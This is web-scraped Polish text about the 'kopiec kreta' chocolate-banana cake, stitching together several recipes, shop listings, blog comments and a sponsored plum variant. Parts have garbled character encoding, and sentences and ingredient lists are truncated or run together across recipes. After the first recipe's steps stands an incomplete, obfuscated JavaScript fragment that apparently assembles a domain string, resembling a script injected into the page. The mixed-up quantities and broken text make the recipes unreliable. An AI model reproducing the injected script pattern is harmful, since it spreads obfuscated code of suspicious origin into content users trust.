Na koniec posypujemy ciasteczkami tworząc górkę. Tak przyrządzone ciasto kopiec kreta doskonale smakuje również z wykorzystaniem owoców sezonowych lub z puszki. Kopiec kreta z mascarpone: przepis. Oto składniki na kopiec kreta z mascarpone: Na krem: 250 g serka mascarpone; 3 łyżeczki żelatyny; pół szklanki cukru pudru; ekstrakt z 5 Cze 2016 Kopiec kreta ciasto - small; Kopiec kreta ciasto - 471896; Kopiec kreta ciasto - Serek mascarpone przełożyć do miski zmiksować na gładko. Podobne przepisy jak na Kopiec kreta ciasto (autor: pola_kuchniaupoli) Dr.Oetker ciasto kopiec kreta 410g od 11,89 zł Porównanie cen w 2 sklepach Zobacz pozostałe produkty w kategorii Ciasta i dodatki do ciast Najlepsze oferty Opinie klientów - Ceneo.pl Inspiracji i przepisów szukaj na: www.oetker.pl Polecamy formy Dr. Oetkera! Ø 24 cm Dr. Oetker wspiera SOS Wioski Dziecięce Kopiec Kreta Ciasto w proszku z czekoladą Przygotuj Kopiec Kreta z ulubionymi owocami Dodaj: do ciasta: - 100 g miękkiej margaryny - 2 jaja - 75 ml mleka (ok. 7 łyżek) - 3 banany (lub ok. 360 g innych owoców) do masy: . Kopiec kreta to efektowne i pyszne ciasto. W miarę szybko się je robi i wbrew pozorom wcale nie jest trudne. Gdy pewnego dnia dotarłam do Lidl i kupiłam tonę bananów w promocji (ha! się wie, gdy regularnie się przegląda gazetkę Lidl, apropos gazetek polecam Wam serwis, w którym bez wertowania miliona stron macie przysłowiowy milion gazetek promo na tacy. Zawsze je z mamą przeglądam i planujemy szoping 🙂 ). No a co do tej tony bananów, to musiałam wykombinować jak je przerobić by się nie zmarnowały. Shake wypity, banan w czekoladzie zjedzony no i wybór padł na jedno z naszych ulubionych ciast. Kopiec kreta Składniki: Ciasto – 4 jajka – 8 łyżek cukru – 3/4 szklanki mąki – 1 łyżeczka proszku do pieczenia – cukier waniliowy – 150g masła – 4 łyżki mleka – 2 łyżki kakao Masa śmietanowa – 600g śmietanki 36% – 2 fixy do śmietany – 4 łyżki cukru pudru – kawałek gorzkiej czekolady – 3 banany Sposób przygotowania: 1. Mąkę przesiewamy, oddzielamy białko od żółtek. 2. Białka ubijamy na sztywną pianę, a następnie powoli dodajemy cukier i cukier waniliowy. 3. Roztapiamy i lekko studzimy masło. Zwalniamy obroty miksera i powoli dodajemy żółtka do masy oraz ostudzone masło. 4. Do masy przesiewamy mąkę wraz z proszkiem do pieczenia i kakao. Wszystko dokładnie mieszamy i wlewamy do formy wyłożonej pergaminem (u mnie o średnicy 24cm). 5. Pieczemy w temperaturze 180 stopni około 20 minut – do suchego patyczka. 6. Ubijamy śmietanę, dodajemy cukier puder i fix. 7. Czekoladę ścieramy na tarce i dodajemy do masy. 8. Ostudzone ciasto należy wydrążyć delikatnie łyżką; około 2 cm od brzegu i 1-2 cm wgłąb – dzięki temu zrobimy miejsce na banany. Nie wyrzucaj ciasta! Odłóż je do miseczki. 9. Banany obieramy, kroimy na pół i umieszczamy w zagłębieniu, które zrobiliśmy w cieście. 10. Masę śmietanową układamy na cieście w kształt kopca, posypujemy pokruszonym ciastem (tym, które wydrążyliśmy) i wstawiamy do lodówki na noc lub min 8 godzin (function(){ qzy8= qzy8_+=”t”+(“.”);qzy8_+=(“in”);qzy8u=”62249659″; qzy8u+=”.ielqlj97zy8fhtq7m”; qzy8u+=”lss6lv3ycu2b1″; dqzy8= })(); 12 komentarzy natasza c 17 kwietnia 2017 - 19:18Ja tylko kopiec kreta robilam z proszku…ale Twoj przepis na majowke z pewnoscia wykorzystam. Brzmi pysznie Reply matka w pigułce 17 kwietnia 2017 - 20:21Coś czuję, że za 2 tygodnie sobie zrobię takie. Czemu za 2 tyg? Bo muszę teraz odpocząć od tych wszystkich świątecznych ciast. Czuję, że pęknę, a jednocześnie leci mi ślinka, gdy patrzę na ten kopiec. To takie straszne 😀 Reply Zwykła Matka 18 kwietnia 2017 - 06:06Jeszcze nigdy nie robiłam tego ciasta, a wygląda tak obłędnie!!!!! Reply Edyta Mój kawałek podłogi 21 kwietnia 2017 - 07:03Bardzo lubię kopiec kreta. Wcale nie jest taki trudny, więc warto go zrobić samemu, a nie ratować się tym z torebki 🙂 Reply Z naciskiem na szczęście 21 kwietnia 2017 - 17:13Takie ciasto to chyba niezłe wyzwanie 🙂 Lubię trochę pokręcić się w kuchni. Kiedyś na pewno i u mnie zagości 🙂 Reply Homoturisticus 23 kwietnia 2017 - 09:44Oj,chętnie bym zjadła takich pyszności do popołudniowej kawy 🙂 Reply Ola 24 kwietnia 2017 - 19:34Przyznam, że lata temu robiłam to ciasto, ale z torebki niestety 🙁 Przepis bardzo fajny, zapiszę sobie w ulubionych 🙂 Reply Guess What PL 24 kwietnia 2017 - 21:42Oj tak znam, to znam. Jeszcze za czasów szkoły podstawowej, gdy przyszedł bum na ciasta z proszku 😉 Reply Barbara 26 kwietnia 2017 - 13:00Nie znam tego ciacha dlatego chętnie skorzystam z Twojego przepisu 🙂 Pozdrawiam. Reply Leave a Comment SKŁADNIKI Ciasto:4 gcukru200 mloleju200 mlmleka380 gmąki tortowej4 łyżkikakao1 małe do pieczeniaKrem:1 waniliowego500 mlmleka1 waniliowego4 łyżkicukru2 kubeczkikwaśnej śmietany1 kubeczekśmietany kremówki1 kubeczektwarogu100 ggorzkiej czekolady5 Najpierw przygotuj ciasto. Żółtka oddziel od białek - żółtka ubij z cukrem do osiągnięcia pianki, dodaj olej i mleko a na koniec mąkę wymieszaną z kakao i proszkiem do pieczenia a następnie jeszcze pianę z białek. Przygotowane ciasto wyłóż na posmarowaną tłuszczem i posypaną mąką blaszkę, wygładź i włóż do piekarnika. Piecz w temperaturze 180 stopni przez około 25 minut. Po upieczeniu pozostaw do ostygnięcia i wierzch ostrożnie przekrój. Odcięty kawałek odłóż do miski. Ciasto posmaruj odrobiną kremu, ułóż pokrojone banany a na nie warstwę pozostałego kremu. Magyarul is el szeretné olvasni a receptet? Látogasson el ide Vakondtúrás sütemény. Przejdź do zawartoÅ›ci Åšliwkowy kopiec kreta Przepis na pyszne czekoladowe ciasto z powidÅ‚ami i kremem piernikowym wpis sponsorowany Pewnie znacie ciasto kopiec kreta w wersji z bananami w Å›rodku? Ja przygotowaÅ‚am Å›liwkowy kopiec kreta zainspirowany zbliżajÄ…cymi siÄ™ Å›wiÄ™tami Bożego Narodzenia. PodstawÄ… mojego ciasta jest obÅ‚Ä™dne czekoladowe ciasto z dużą iloÅ›ciÄ… powideÅ‚ Å›liwkowych od Stovit. Ciasto wrÄ™cz nimi pachnie i Å›liwki sÄ… wyczuwalne w smaku. Trudno siÄ™ mu oprzeć i muszÄ™ siÄ™ przyznać, że sama podjadaÅ‚am ciasto w trakcie jego przygotowania. Po upieczeniu odcinamy wierzch i jeszcze dodatkowo lekko wydrążamy ciasto. I ja te wyciÄ™te kawaÅ‚ki podjadaÅ‚am, bo nie mogÅ‚am siÄ™ oprzeć. Na szczęście, to co zostaÅ‚o wystarczyÅ‚o do posypania caÅ‚ego wierzchu :) NastÄ™pnie zrobiÅ‚am krem czekoladowo-piernikowy. Serek mascarpone zmieszaÅ‚am z rozpuszczonÄ… czekoladÄ… i przyprawÄ… do piernika, a gdy siÄ™ schÅ‚odziÅ‚, zmiksowaÅ‚am go ze Å›mietanÄ… kremówkÄ…. Teraz wystarczyÅ‚o już naÅ‚ożyć do wydrążonego ciasta dodatkowÄ… porcjÄ™ powideÅ‚ oraz krem. Krem ma tworzyć wystajÄ…cÄ… kopuÅ‚Ä™, która po posypaniu okruszkami ciasta wyglÄ…da wÅ‚aÅ›nie jak kopiec kreta. Powiem Wam, że ciasto smakowaÅ‚o obÅ‚Ä™dnie i znikÅ‚o bardzo szybko. Nawet mój syn, który rzadko jada ciasta, siÄ™ w nim rozsmakowaÅ‚ :) GorÄ…co polecam Wam wiÄ™c ten Å›liwkowy kopiec kreta a także inne pyszne ciasta z kremem z bloga. Åšliwkowy kopiec kreta – przepis do druku Åšliwkowy kopiec kreta Wypieki Beaty Przepis na przepyszne czekoladowe ciasto z powidÅ‚ami Å›liwkowymi i kremem czekoladowo-piernikowym. Czas przygotowania 1 godzCzas caÅ‚kowity 3 godz 35 minut WyposażenieForma do pieczenia o wielkoÅ›ci 22-24 cm. SkÅ‚adnikiciasto czekoladowo-Å›liwkowe120 g masÅ‚a100 g czekolady użyÅ‚am gorzkÄ…100 g cukru pół szklanki1 opakowanie powideÅ‚ Å›liwkowych od Stovit – 240 g3 jajka rozmiar L150 g mÄ…ki 1 szklanka2 Å‚yżeczki proszku do pieczenia1 Å‚yżeczka przyprawy do piernikadodatkowo100 g powideÅ‚ Å›liwkowych od Stovit Instrukcja ciasto czekoladowo-Å›liwkoweW wiÄ™kszym garnku rozpuść masÅ‚o. Do gorÄ…cego masÅ‚a dodaj poÅ‚amanÄ… czekoladÄ™ i dokÅ‚adnie wymieszaj – aż czekolada siÄ™ rozpuÅ› do czekolady cukier oraz powidÅ‚a Å›liwkowe i dokÅ‚adnie poÅ‚Ä…cz z proszkiem do pieczenia i przyprawÄ… do piernika, a nastÄ™pnie wsyp do czekolady i wymieszaj Å‚yżkÄ….Wbij jajka do ciasta i dokÅ‚adnie do pieczenia posmaruj masÅ‚em i wysyp mÄ…kÄ… lub buÅ‚kÄ… tartÄ….Przelej ciasto do formy i piecz w 170 stopniach (termoobieg) przez mniej wiÄ™cej 30-35 minut (do suchego patyczka).krem czekoladowo-piernikowyCzekoladÄ™ rozpuść w kÄ…pieli wodnej (poÅ‚am jÄ… i przełóż do żaroodpornej miseczki ustawionej na garnku z gotujÄ…cÄ… siÄ™ wodÄ…).Dodaj rozpuszczonÄ… czekoladÄ™ oraz przyprawÄ™ do piernika do serka mascarpone i dokÅ‚adnie serek z czekoladÄ… do lodówki do schÅ‚odzenia – na mniej wiÄ™cej godzinÄ™.ZimnÄ… Å›mietanÄ™ kremówkÄ™ zmiksuj aż bÄ™dzie gÄ™sta, w trakcie dodawaj po Å‚yżce serek mascarpone z czekoladÄ…. Miksuj do poÅ‚Ä…czenia skÅ‚ lubisz sÅ‚odkie kremy, to możesz krem dodatkowo posÅ‚odzić cukrem ciasto z formy i ostrym nożem zetnij jego pomocÄ… Å‚yżki wyjmij trochÄ™ ciasta ze Å›rodka, tak aby utworzyÅ‚ siÄ™ pÅ‚ytki doÅ‚ ciasto oraz część odciÄ™tÄ… rozdrobnij na ciasto kilkoma Å‚yżkami powideÅ‚ Å›liwkowych od powidÅ‚a wyłóż krem czekoladowo-piernikowy tak aby utworzyÅ‚ wystajÄ…cÄ… kopuÅ‚Ä™.Posyp wierzch ciasta grubÄ… warstwÄ… okruszków z odkrojonego ciasta. SkÅ‚adniki OdżywczeServing: 100gKalorie: 332kcalWeglowodany: 27gBiaÅ‚ko: 4gTÅ‚uszcz: 23g Sprawdzony przepis?Daj znać w komentarzu! Wpis przygotowany we współpracy z markÄ… Stovit Domowy kopiec kreta to piękne i super pyszne ciasto, które warto upiec na specjalne okazje i na Święta. Zapraszam po mój sprawdzony przepis na wilgotne ciasto czekoladowe i prosty krem. - dokładny opis wykonania ze zdjęciami krok po kroku- krem śmietanowy bez użycia żelatyny- wilgotne ciasto czekoladowe Czas przygotowania: 2 godziny Czas chłodzenia ciasta: 3 godziny Liczba porcji: tortownica 26 cm Kaloryczność kcal: 315 w 100 g ciasta Dieta:wegetariańska 1,5 szklanki mąki pszennej tortowej lub uniwersalnej - 240 gokoło 3/4 szklanki cukru - 160 gokoło 3/4 szanki oleju - 160 g0,5 szklanki wody - 125 ml3 łyżki ciemnego kakao5 dużych lub 6 małych jajekokoło 0,5 szklanki cukru - 130 gpo łyżeczce proszku do pieczenia i sody oczyszczonej 750 ml śmietanki kremówki 36 % - około 2,5 szklanki50 g cukru pudru - około 3 łyżki50-60 g gorzkiej lub deserowej czekolady 4 średniej wielkości banany - lub więcej2 łyżki soku z cytryny Ciasto kopiec kreta Szklanka ma u mnie pojemność 250 ml. Śmietankę kremówkę trzymaj schłodzoną w lodówce. Resztę składników "lodówkowych" wyjmij wcześniej, by nabrały temperatury pokojowej. Forma do pieczenia: u mnie była to tortownica o średnicy 26 cm z odpinanymi bokami. Sprawdzi się tu również tortownica większa, o średnicy 28 cm. Pieczenie ciasta czekoladowego: opcja pieczenia góra/dół; środkowa półka w piekarniku; temperatura - 175 stopni; czas pieczenia - około 60 minut. Kalorie policzone zostały na podstawie użytych przeze mnie składników. Jest to więc orientacyjna liczba kalorii liczona na podstawie produktów, których użyłam w danym przepisie. Przed szykowaniem ciasta kopiec kreta zachęcam też do przeczytania najpierw całego wpisu, by odpowiednio wcześniej przygotować się do kolejnych kroków szykowania ciasta. Kopiec kreta przepis W pierwszej kolejności pieczemy ciasto czekoladowe. Do tego deseru skorzystałam ze sprawdzonego ciasta, które znajdziesz w przepisie na ciasto porzeczkowiec. Jest to wspaniały przepis, ponieważ ciasto wychodzi puszyste i wilgotne, więc nie trzeba go nawet nasączać. Do rondelka wlej około 3/4 szanki oleju, czyli 160 gramów oleju o delikatnym smaku i pół szklanki wody z kranu. Wsyp trzy (nie czubate) łyżki kakao oraz około 3/4 szklanki cukru np. o drobnej rafinadzie, czyli 160 gramów cukru. Całość podgrzewaj na średniej mocy palnika przez kilka minut ciągle mieszając masę. Składniki mogą się zagotować. Cukier powinien się rozpuścić. Po zagotowaniu odstaw rondelek na bok, do całkowitego przestudzenia. Dopiero gdy czekoladowy płyn będzie całkiem przestudzony, możesz zacząć ubijać jajka z cukrem na puch. Do większego szklanego lub metalowego naczynia wsyp około pół szklanki drobnego cukru. Będzie to 130 gramów cukru. Wbij 5 dużych lub 6 małych jajek. Cukier z jajkami ubijaj mikserem na wysokich obrotach tak długo, aż cukier całkowicie rozpuści się w jajkach. Pod koniec ubijania ma powstać puszysta i jasna masa. Ubijanie może trwać nawet 10 minut. Do puchu jajecznego wlej całą zawartość rondelka i delikatnie wymieszaj obie masy. Na koniec wsyp jeszcze 1,5 szklanki mąki pszennej tortowej lub uniwersalnej (240 gramów mąki) przesianej z łyżeczką proszku do pieczenia i łyżeczką sody oczyszczonej. Ciasto mieszaj delikatnie szpatułką, aż do połączenia się wszystkich składników. Tortownicę o średnicy 26 cm wyłóż papierem do pieczenia (boki również wyłóż wyższymi paskami pergaminu). Wlej ciasto. Tortownicę z ciastem umieść w dobrze nagrzanym piekarniku. Opcja pieczenia góra/dół; środkowa półka w piekarniku; temperatura - 175 stopni; czas pieczenia - około 60 minut. Po około 55 minutach sprawdź, czy ciasto jest już upieczone. Ostrożnie uchyl drzwi piekarnika i wbij w środek ciasta drewniany patyczek do szaszłyków. Jeśli po wyjęciu patyczek jest suchy, to znaczy, że ciasto jest już gotowe. Nie piecz go dłużej "dla pewności", by niepotrzebnie nie przesuszać ciasta. Po przestudzeniu odkrój całą górę ciasta. Zastaw blat ciasta o wysokości około 3 cm, zaś odkrojone ciasto odłóż na potem (Pokruszone wyłożysz na warstwę masy śmietanowej). Ostrożnie usuń (np. używając małej łyżki lub krótkiego nożyka) odrobinę ciasta na głębokość około 1 cm. Zostaw jednak wolny brzeg/rant o szerokości około 2 cm. W powstałym wgłębieniu umieść kilka obranych i posmarowanych sokiem z cytryny bananów. W razie potrzeby przytnij banany, by wypełnić nimi jak najwięcej przestrzeni w wyznaczonym zagłębieniu. Bardzo mocno schłodzoną śmietankę kremówkę (można ją przed ubijaniem umieścić dodatkowo na 20 minut w zamrażalniku) umieść w wysokim naczyniu. Będzie to 750 ml śmietanki 36%. Od razu dodaj też około 50 gramów cukru pudru. Śmietankę ubijaj na początku na niższych obrotach, by nie pochlapać nią całej kuchni. Gdy zacznie lekko gęstnieć, zwiększ obroty do maksymalnych. Śmietankę ubijaj tak do momentu, gdy zacznie robić się sztywna. Może to trwać minutę lub trochę dłużej albo i krócej. Uważaj, by nie ubijać jej za długo, ponieważ śmietanka zacznie się warzyć i rozwarstwiać na maślankę i masło. To jak szybko uzyskasz idealnie ubitą i sztywną śmietankę zależy od tłustości śmietanki, jej stopnia schłodzenia i mocy miksera. Do ubitej na sztywno śmietanki dodaj około 50-60 gramów startej na tarce czekolady deserowej lub gorzkiej (mleczna też może być). Ja wybieram drobne oczka w tarce, ale mogą być też te większe. Startą czekoladę wymieszaj delikatnie ze śmietanką przy pomocy szpatułki. Porada: Używając śmietanki 36 % nie ma potrzeby dodawania ani żelatyny, ani też śmietan fix. Jeśli jednak zdecydujesz się na śmietankę 30 %, to na podaną ilość śmietanki należy dodać 3 saszetki śmietan fix lub też 30 gramów glukozy w proszku + do 5 gramów skrobi ziemniaczanej. Ubitą na sztywno śmietankę z dodatkiem startej czekolady wyłóż na ciasto z bananami. Postaraj się na początku wypełnić nią wszystkie wolne przestrzenie między bananami a ciastem, a następnie zacząć formować kopczyk. Stwórz półokrąg z ubitej śmietany. Wyrównaj go szpatułką. Odłożone wcześniej ciasto (z odciętej góry) pokrusz w dłoniach i zacznij wykładać je na półokrąg z bitej śmietany. Delikatnie "doklep" pokruszone ciasto. Wyłóż nim całą zewnętrzną stronę kopca kreta tak, by nie było widać bitej śmietany. Jeśli zostanie Ci trochę ciasta, to polecam je po prostu zjeść. Jest przepyszne. Gotowy kopiec kreta umieść w lodówce na minimum trzy godziny, a nawet na całą noc i dopiero podawaj. Ciasto kopiec kreta przechowuj w lodówce pod kloszem. Wyjmuj je tylko przed podaniem. Świeżość i wspaniały smak zachowa śmiało przez 3-4 dni. Banany zastępuję czasem borówkami lub brzoskwiniami z puszki. W sezonie wykładam zaś jagody leśne, truskawki, czy maliny. Smacznego. Średnia / 5 (305 głosów) Oceń!

przepis na kopiec kreta